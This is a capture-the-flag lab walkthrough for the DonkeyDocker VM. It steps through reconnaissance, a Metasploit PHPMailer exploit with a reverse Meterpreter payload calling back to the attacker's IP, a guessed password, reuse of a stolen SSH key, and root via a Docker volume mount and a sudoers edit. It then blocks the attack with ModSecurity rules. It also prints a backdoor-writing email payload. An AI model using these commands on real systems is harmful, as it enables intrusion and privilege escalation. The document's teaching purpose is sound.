Exercise: DonkeyDocker

Steps

1. First, we'll break into the DonkeyDocker system. We can portscan the system with:

   ```
   nmap -sT -sV -sC -p- donkeydocker
   ```

2. We find only three ports:

   - the webserver on port 80
   - the SSH server on port 22
   - something else on port 81

   Ignore port 81 – this is something we added to the VM for later.

3. Let's take a look at robots.txt: http://donkeydocker/robots.txt

4. This shows us three pages: `/index.php`, `/contact.php` and `/about.php`

5. Let's look at each of those and view their source. We'll start with the main page: http://donkeydocker/index.php

6. This page just introduces the Capture the Flag (CTF) and gave us links to the two pages we're already checking out. Its source code is uninteresting.

7. Next we check out the about page: http://donkeydocker/about.php

8. This is interesting. The `about.php` page's source has an interesting note that we'll remember for later:

   ```
   <!-- FIXME!: www-path: /www -->
   ```

9. Now let's check out the contact page: http://donkeydocker/contact.php

10. This doesn't seem interesting, but we'll find a use for it later.

11. Let's look for directories and files that either often bear fruit (things like `test.php`) or are well-known applications. We'll fire up `dirbuster`:

    ```
    dirbuster
    ```

12. In the `dirbuster` window, fill out the target URL with http://donkeydocker/

13. To complete the "File with list of dirs/files" box, choose the "Browse" box to its right, then navigate that window to `/usr/share/dirbuster/wordlists/` and choose `directory-list-2.3-small.txt`.

14. Now click the "Start" button in the lower right corner of the dirbuster window. At the end of this step, set your Slack status to :thumbsup: and stop doing the exercise for now.

15. Now click the "Results-List View" tab to see the results update in real time.

16. Sort this reverse alphabetically by the Found column by clicking the word Found twice.

17. Let this run for about five minutes until it finds `/mailer/examples/`

18. In a web browser, browse to: http://donkeydocker/mailer/examples

19. So, it's clear that we've found PHPMailer, which has had a number of vulnerabilities.

20. Shut down `dirbuster` by clicking the Stop button, then closing the window.

21. If we look at the GitHub page for PHPMailer, we learn that you can get its version with a single request, unless someone removes the `VERSION` file. Check to see what version we've found of PHPMailer, by browsing to: http://donkeydocker/mailer/VERSION

22. Now let's use the `searchsploit` command, to search Kali's cached copy of ExploitDB:

    ```
    searchsploit phpmailer
    ```

    There are a number of good exploits for this PHPMailer version. It's really convenient that there's a Metasploit exploit for it. This means we'll have a payload with far more functionality than our usual netcat listener.

23. Let's fire up Metasploit:

    ```
    msfconsole
    ```

24. Let's search for the exploit we just found with `searchsploit`:

    ```
    search phpmailer
    ```

25. That first one is the one we need. Set up to use it by running:

    ```
    use exploit/multi/http/phpmailer_arg_injection
    ```

26. Learn more about the exploit with the `info` command:

    ```
    info
    ```

27. Let's see what options we need to set to use this exploit:

    ```
    show options
    ```

28. Set the target host to `donkeydocker`:

    ```
    set RHOST donkeydocker
    ```

29. Configure the exploit payload to connect back to your Kali machine:

    ```
    set LHOST 10.23.58.30
    ```

30. Set the target URI to the contact link we found from the main page - *note, this is URI, not URL*:

    ```
    set TARGETURI /contact
    ```

31. From searching the web, you can learn that we need to set the `TRIGGERURI` to `/` - *note, this is URI, not URL*:

    ```
    set TRIGGERURI /
    ```

32. Finally, we need to set the web root accurately. Luckily, the source code for `about.php` told us the web root would be `/www`:

    ```
    set WEB_ROOT /www
    ```

33. Let's set our payload – it should set the payload by default, but this doesn't always occur across all Metasploit versions:

    ```
    set PAYLOAD php/meterpreter/reverse_tcp
    ```

34. Now type `exploit` and wait. The exploit info warned us this could take a few minutes. (Note: you could change the `WAIT_TIMEOUT` variable to reduce the time taken, with some risk.)

    ```
    exploit
    ```

35. We see that Metasploit is waiting some time to trigger the payload. This is normal. You'll see `meterpreter >` when it's ready.

36. Now, let's get a shell:

    ```
    shell
    ```

37. You'll know you have a shell when you see "Channel created." Type `id`:

    ```
    id
    ```

38. We're going to need a more functional shell. Let's use the same technique we use on other exercises (including one on Mr Robot), constructing and running a quick Python program (which works in both python2 and python3):

    ```
    echo "import pty;" >/tmp/shell.py
    echo "pty.spawn('/bin/bash');" >>/tmp/shell.py
    python /tmp/shell.py
    ```

39. That's more like it. We are clearly running as user `www-data`, in directory `/www`.

40. The hostname, as a hexadecimal string, sure feels like being in a Docker container. Let's look at how else this looks like a Docker container:

    ```
    mount
    ip a
    ```

41. Take a minute to explore. If we walk around the filesystem, we'll find an interesting script called `/main.sh`. This serves as the "entrypoint" script for this container. It's the first thing that runs in the container:

    ```
    cat /main.sh
    ```

42. So the flag is clearly in `smith`'s home directory. See if we can read it:

    ```
    ls -l /home/smith/flag.txt
    ```

43. We'll need to be `smith`. We could start guessing passwords, but the very first one we'd try works. Run `su - smith` and use `smith` as a password:

    ```
    su - smith
    smith
    ```

44. Get that first flag:

    ```
    cat flag.txt
    ```

45. Looks like we have a great hint. This CTF is themed on 1984 by George Orwell.

46. Take a look at `smith`'s home directory:

    ```
    ls -lart
    ```

47. We find there's a `.ssh/` directory here:

    ```
    ls -lart .ssh
    ```

48. Even better, there's an SSH private key here! As penetration tester, we love when these keys aren't protected by passphrases, the way this one isn't. Let's look for a hint about the key's purpose by looking at the public key that matches it:

    ```
    cat .ssh/id_rsa.pub
    ```

49. The key is likely created by someone with the username `orwell` on the system `donkeydocker`. Wait a second?! Isn't this virtual machine supposed to be `donkeydocker`?

50. Display the private key, so you can copy-and-paste it:

    ```
    cat .ssh/id_rsa
    ```

51. Keep the Metasploit console running, but start a new terminal window or tab.

52. Copy and paste the private key to a file on your Kali system, using the new terminal window or tab. Pick your favorite editor, or run the following for a graphical one:

    ```
    mousepad ~/donkeydocker-ssh-key.txt
    ```

53. Set that key file's permissions well, so that `ssh` will let you use it:

    ```
    chmod go-rwx ~/donkeydocker-ssh-key.txt
    ```

54. In that new terminal or window, start an `ssh` session to the DonkeyDocker system:

    ```
    ssh -i ~/donkeydocker-ssh-key.txt orwell@donkeydocker
    ```

55. We're now logged into the host, which doesn't look like a container at all. Do an `ls`:

    ```
    ls
    ```

56. Grab that next flag:

    ```
    cat flag.txt
    ```

57. Run an `id` command to see what groups this user is in:

    ```
    id
    ```

58. We're in the `docker` group, on a system running docker. Root is as good as ours. We'll be doing a Docker lecture and exercise after these, so don't worry about understanding what a Docker container / image is and how the volume mount works.

59. Let's get ready to start a docker container. Our container will mount the host's filesystem onto `/root`, giving us root-level permissions on the host's filesystem. First, find out what images we have cached on this system already:

    ```
    docker images
    ```

60. Now start up a new container, based on `Debian:jessie`, asking Docker to mount the host filesystem into `/root` in the container:

    ```
    docker run -it -v /:/root debian:jessie /bin/bash
    ```

61. Take a look at the `/etc/os-release` file, so you can see that the container filesystem is for Debian:

    ```
    cat /etc/os-release
    ```

62. Now, start a new shell, but use the `chroot` command so that the new shell thinks that `/root` is its `/` filesystem. This is called `chroot` for "change-root". Until you exit this shell, your view of the filesystem will be that of the host, not the container:

    ```
    chroot /root /bin/sh
    ```

63. To see how the `chroot` makes the shell see the filesystem, take a look at the `/etc/os-release` path again - you'll see alpine:

    ```
    cat /etc/os-release
    ```

64. Add `orwell` to the sudoers file:

    ```
    echo "orwell ALL=(ALL) NOPASSWD:ALL" >>/etc/sudoers
    ```

65. Feel free to set `orwell`'s password, though you won't need it for anything:

    ```
    passwd orwell
    lockthisdown
    lockthisdown
    ```

66. Now, exit the `chroot`'ed shell:

    ```
    exit
    ```

67. Now exit the `docker` container:

    ```
    exit
    ```

68. Start a new `ssh` session from Kali, to use the `orwell` account's new privileges:

    ```
    ssh -i ~/donkeydocker-ssh-key.txt orwell@donkeydocker
    sudo su -
    ```

69. You've got root! Now let's harden the system.

70. First, we'll break the attack using ModSecurity. The attack relies on the ability to provide a hostile and RFC-non-compliant e-mail address. While the Metasploit exploit for this vulnerability uses a more complex e-mail address, the classic Anarcoder exploit (stored on your laptop at: `/usr/share/exploitdb/exploits/php/webapps/40974.py`) uses this as an e-mail address:

    ```
    anarcoder\\\" -OQueueDirectory=/tmp -X/www/backdoor.php server\" @protonmail.com
    ```

71. We shouldn't be letting any e-mail address in that looks *anything* like that. We don't have to know about this vulnerability in advance. We can just create rules for this application (the contact form) so that it doesn't receive any input that it isn't expecting.

72. Here's a rule that confines e-mail addresses sent to this page to be alphanumeric and no longer than 150 characters – you could allow more possibilities by tweaking this. Don't worry about copy and pasting this - we've set it up for you:

    ```
    <Location /contact.php>
    SecRule ARGS_GET:email \
    "!^[a-zA-Z0-9]{1,50}\@[a-zA-Z0-9\.]{1,100}$" \
    "phase:2,t:none,deny,log,auditlog," \
    ```

```
msg:'Input Validation Alert on e-mail address'
</Location>
```

73. This virtual machine uses Alpine Linux, which makes installing ModSecurity difficult. Instead, this exercise takes advantage of the fact that it uses Docker to add a ModSecurity-focused Docker image to the system.

74. Docker on this system has been running a reverse proxy, with ModSecurity installed but not enabled. Let's enable it with a custom rule and try that first Kali exploit again.

75. On the DonkeyDocker system, as the `orwell` or `root` user, run this to deactivate the modsecurity container, so we can replace it with one where modsecurity is activated:

    ```
    docker rm -f modsecurity
    ```

76. Now launch one of the other modsecurity containers, like so:

    ```
    docker run -itd --restart always -p 80:80 --name modsecurity jaybeale/modsecurity-proxy
    ```

77. Try the exploit again in your Metasploit window. If you have a Meterpreter still running, exit it, then type `exploit` again.

78. The exploit will fail. Take a look at the logs created by modsecurity by running:

    ```
    docker logs modsecurity | grep 403
    ```

79. Add an interactive shell into that container to see how the rule is set up:

    ```
    docker exec -it modsecurity /bin/bash
    ```

80. Look at the custom rule file we've activated:

    ```
    cd /etc/httpd/modsecurity.d
    less custom-rule.conf
    ```

81. Now exit that shell and try out the ModSecurity OWASP Core Rule Set:

    ```
    exit
    docker rm -f modsecurity

    docker run -itd --restart always -p 80:80 --name modsecurity \
    jaybeale/modsecurity-proxy-to-dd:crs
    ```

82. Try your attack again in Kali. If the exploit from before is still running, hit `Ctrl-C`. If it has failed, you won't need to do that. Then, type:

    ```
    exploit
    ```

83. The exploit will fail again. Take a look at the logs created by modsecurity by running:

    ```
    docker logs modsecurity | grep 403 | less
    ```

84. Add an interactive shell into that container to see how the CRS rules are set up:

    ```
    docker exec -it modsecurity /bin/bash
    ```

85. Look at the one of the CRS rules:

    ```
    cd /etc/httpd/modsecurity.d/owasp-crs/rules/
    ls
    less REQUEST-942-APPLICATION-ATTACK-SQLI.conf
    ```

86. Change your Slack status to `:thumbsup:`.

87. Suspend the virtual machines:

    ```
    sudo /scripts/suspend-all-vms.sh
    ```